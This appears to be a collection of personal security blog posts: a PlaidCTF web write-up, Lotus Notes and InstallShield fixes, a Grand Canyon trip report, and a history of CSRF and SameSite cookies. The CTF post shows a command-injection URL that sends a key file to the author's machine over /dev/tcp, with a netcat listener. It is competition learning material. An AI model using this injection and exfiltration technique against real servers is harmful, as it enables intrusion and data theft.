The Plaid Parliament of Pwning organized their own Capture-the-Flag (CtF) contest this past weekend. It was an excellent CtF with about 36 challenges ranging from trivia, exploitation, reverse engineering, web exploitation, cryptography, and forensics.

My writeup for #16 – Plain sight [200 pts] web
The problem was

The time to strike is now! This fiendish AED employee decided to hide secret data on this website (http://a4.amalgamated.biz/cgi-bin/chroot.cgi)
It seems that the employee was in the middle of creating the website when our operatives stumbled upon it.
The good news is that there are surely bugs in the development version of this problem, the bad news is currently no feedback printed to users.
Some of our leet operatives have determined a little bit about the machine: it runs in a read-only environment with only
bash cat dc expand grep hd head id less ls more nl od pr rev sh sleep sort sum tail tar tr true tsort ul wc yes
installed.

Find what AED is hiding, good luck and godspeed.

There was a URL http://a4.amalgamated.biz/cgi-bin/chroot.cgi that allowed remote code execution.
bash, cat, less, more, ls were allowed.

First thing I did was checked if the bash TCP connections were allowed using:
http://a4.amalgamated.biz/cgi-bin/chroot.cgi?ls>/dev/tcp/MYIP/5000

That seemed to work. So then I listed the directories one by one until I bumped onto:
I used http://a4.amalgamated.biz/cgi-bin/chroot.cgi?cat%20keyfolder/key>/dev/tcp/MYIP/5000 I had the port forwarded to my PC and a netcat listener running in a loop
while [ 1 ]
do
nc -l -v -p 5000
done

The answer was esc4p3_str1ng5.

Fun times!

If you are a South Indian, have a long name, use lotus notes and want to send encrypted e-mail using Internet Certificates…you may just be out of luck! Why?
Lotus Notes 6 does not support importing of PKCS#12 (.pfx) certificates which have the CN (Customer name), OU (Organization unit), O (Organization), CA (Certificatio Authority) fields together more than 255 characters. Many of my south Indian friends in fact have names that are 40 characters themselves! Alongwith the O, OU and the CA taken together this could easily exceed more than 255 characters. On encountering such a situation, Lotus Notes also gives a friendly error message which my friends may not find quite amusing at that point “Name too long”. Once you encounter this error, you cannot proceed with the import. To work around this see if you can reduce the characters in OU and O fields because your e-mail ID has to match the one in Lotus.
I also found a useless response from IBM to get rid of this problem. Their response was pretty much “learn to deal with it! we won’t correct our stupid software”.
Justin’s written a pretty useful how to on importing S/MIME certificates into Lotus notes.

I was being troubled by the error:
The InstallShield Engine (iKernel.exe) could not be launched.
The RPC Server is unavailable.

If you start the service “DCOM Server Process Launcher” you should be able to do away with this error.

Another trip to the national parks of US. This time in Arizona State! The Grand Canyon in AZ, USA lying on the Colorado Plateau in Northwestern Arizona is a blistering (not because of heat, though) example of soil erosion caused over more than 4000 years by Colorado river.
We organized a trip of 8 people in a Toyota Sienna. It turned out to be a fantastic van and it could easily carry the load of all the eight people and still not run out of steam like we did on the trail.
We reached the Canyon at around 7:50 am on the Saturday morning after an 8 hr drive. But getting apermit at such a short notice in summer is really difficult. So we ended up with no campgrounds in the Mather campground as well as the Backcountry CBG campground (Bright angel creek, just 0.5 miles from the Colorado river). So we first went to 10-X Campground just near the Grand Canyon Airport. This campground is on first come first served basis and takes only 10 bucks for a day. Anyway, we did not have too many choices with the campground so we had to take whatever spot we got.
Then at around 11:30 am we started on the Bright Angel Trail. According to the canyon officials the worst times to take the trails is between 10:00 am to 4:00 pm. But the brave souls that we were, our enthusiasm and inexperience with Canyon led us to believe our valor more than we had! So we began the trail with a backpack carrying water and food for each person. Every man for himself!
But we met a volunteer on the way who advised us that unless we were Marathon runners (which we are not by any stretch of imagination) going to the Plateau Point and coming back on the same day is not advisable. The thoughts that he put into our minds germinated into a tree of doubt which we could not climb.
We could reach only the 3-mile point and climbed back up. But as it turns out we had made almost 70% of the elevation and most of the inclining hike. Had we continued the further trail was not at all steep. But this is hindsight or may be a case of sour grapes or maybe a case of inflated self-esteem !?!!
Then after coming back exhausted from the trail we set up our tent and after some food went off for a well-deserved siesta. The next day after lot of deliberation from Gandhe and Sardar we made it again to the Canyon to look at the points on the South Rim itself. After going afound in the bus we saw most of the points and then headed back to LA with the same reverse route (64 S – 40 W – 15 S – 10 W)!
-Rajat.
My homepage.

Seems like the pwn2own this time around is going to be putting up prizes of about $100,000+ for people who can find 0-days for a variety of platforms. Especially, the fact that about $60,000 are being devoted for 0-days on the mobile security platform including the android platform etc., indicates a new era of security bugs.
The iPhone (non-jailbroken ones) as well as the BlackBerry application do tend to use signed executables. One only hopes that like the trust-relationships of the SSL-based certificates, the trust is really kept by analyzing the blackberry and iPhone apps.
Tyler Shields from Veracode presented his work of TXSBBSpy (source code URL: http://www.veracode.com/images/txsBBSpy.java; Presentation slides: http://www.veracode.com/images/TylerShields-MonkeyBerries-ShmooCon-2010.pdf).  In this he suggested that when controlled APIs are used the code needs to be signed by RIM but to do that RIM only gets the hash and not the source code.  This presents an interesting situation where RIM could actually be signing something that they don’t really know what it seems to be doing.

Cisco ASDM is quirky in the sense that if the right Java version is not found it will just puke with errors that make no sense. This is what my java log looks like:
Application Logging Started at Fri Aug 01 11:01:11 EDT 2010
---------------------------------------------
Local Launcher Version = 1.5.41
Local Launcher Version Display = 1.5(41)
Cannot read profile file C:\Documents and Settings\abcdef\.asdm\data\deviceinfo.conf.
OK button clicked
Trying for ASDM Version file; url = https://www.example.com/admin/
Server Version = 6.2(1)
Server Launcher Version = 1.5.41, size = 476672 bytes
Launcher version checking is successful.
invoking SGZ Loader..
Cache location = C:/Documents and Settings/abcdef/.asdm/cache
Exception in thread "SGZ Loader: launchSgzApplet" java.lang.NoSuchFieldError: b
at dac.setLevel(dac.java:65)
at dac.(dac.java:44)
at gd.(gd.java:78)
at f5.a(f5.java:117)
at com.cisco.dmcommon.util.DMCommonEnv.(DMCommonEnv.java:38)
at com.cisco.pdm.PDMApplet.updateProgress(PDMApplet.java:300)
at com.cisco.pdm.PDMApplet.init(PDMApplet.java:63)
at com.cisco.nm.dice.loader.r.run(DashoA19*..:409)
It happens because the ASDM launcher is not capable of running on newer JVMs. Since I had older JVMs, I went into Control Panel -> Java. Click on the Java tab, followed by clicking the “view” button. This will show you the current JVM being used. If you have older JVMs click on Find (you will have to select the folder where you suspect older JVMs to be…which in my case was c:\Program Files). If you don’t find an older JVM then just install an older version and it will work.

Having been in application security for more than 2 decades now and officially completing my 18th year now of being meaningfully employed in that space there is just a lot of crud that I have gathered in my brain. Most of that is history of how things came about to be. That stuff is likely not interesting to most but I find it intriguing as to how some seemingly minor decisions of one software vendor can have massive impact to the web application security industry.

Oh the dreaded IE…
Internet Explorer 4, 5 and 6 that started in the Windows XP days (or even earlier, can’t recall) had a setting – the cookie jar was not shared – i.e., if you opened a new window to a site, you would have to log in again unless you used “Ctrl+N” key to open a new window from an existing session. Each new process would have its own cookie jar. For the uninitiated, the “cookie jar” is the internal browser storage of cookies. Cookies are random looking strings that indicate a “trust token” that a web server places in the browser. Since HTTP is a connectionless protocol, this cookie is what preserves the “state” and this is exactly what authorization decisions in HTTP context are typically based on. These cookies are stored in a web browser data storage called cookie jar where each cookie gets stored with the name, value, domain, path (and today, there are few other attributes but that wasn’t the case back in 2004-2005). The browser gets all these parameters from the HTTP response header Set-Cookie. Microsoft, the vendor for Internet Explorer, made a decision that each new window of IE should have its own set of stored cookies that were not shared. Mozilla Firefox and Google Chrome always had a shared cookie jar if I recall correctly.

Along came a Cross-Site Request Forgery (CSRF)…

Jesse Burns from iSecPartners (an NYC-based security consultancy that was acquired by NCC group) back then wrote a paper which I think was the seminal paper on Cross-Site Request Forgery. They called it “XSRF” back then because “XSS” was already in parlance back-then. Thereafter, there were presentations in 2006 about the same by Microsoft. The whole attack was simple. The victim has a browser tab open in which they are logged into a site that has issued that session a cookie value. Due to the browser same-origin policy (a concept that Netscape designed in 1995) that cookie would be resent by the browser in the request as a Cookie HTTP request header whenever an HTTP request was sent to the same domain, protocol (“scheme”) and port. There were few idiosyncracies of IE (which made it infamous back then) such as if the port number did not match IE did not complain and would think that access was allowed per the Same-Origin Policy (SOP). What does that mean? http://example.com and http://example.com:81 would be treated as the same origin! Weird right? It wasn’t the case with other browsers. This was also documented in Michal Zalewski’s book Tangled Web in 2011. Where am I going with this? So while IE did some weird things, it did one good thing – isolate cookie jars. So if you opened up a new window where the attacker ran a payload that sent a request to the site which had handed you a cookie, the new IE window would have no interesting cookies to share with that site – inadvertently protecting the user from being a victim to a CSRF issue. Yes, the hated IE protected the users from being victim to CSRF! Who would have thought? That’s how weird 2005 was 🙂

Fast forward…

Since all browser vendor today have concept of shared cookie jars because who doesn’t like opening new tabs of their favorite cloud consoles without having to re-login right? So what did we the people do? We came up with another attribute that could be added to a Set-Cookie HTTP response header – SameSite attribute which restricted the cookie from being sent unless the request originated from a page on the same site as the cookie issuer.

So there you have it… the history of SameSite and how one of the most hated browsers of the day (IE) did one good thing for users – protect them from CSRF! 🙂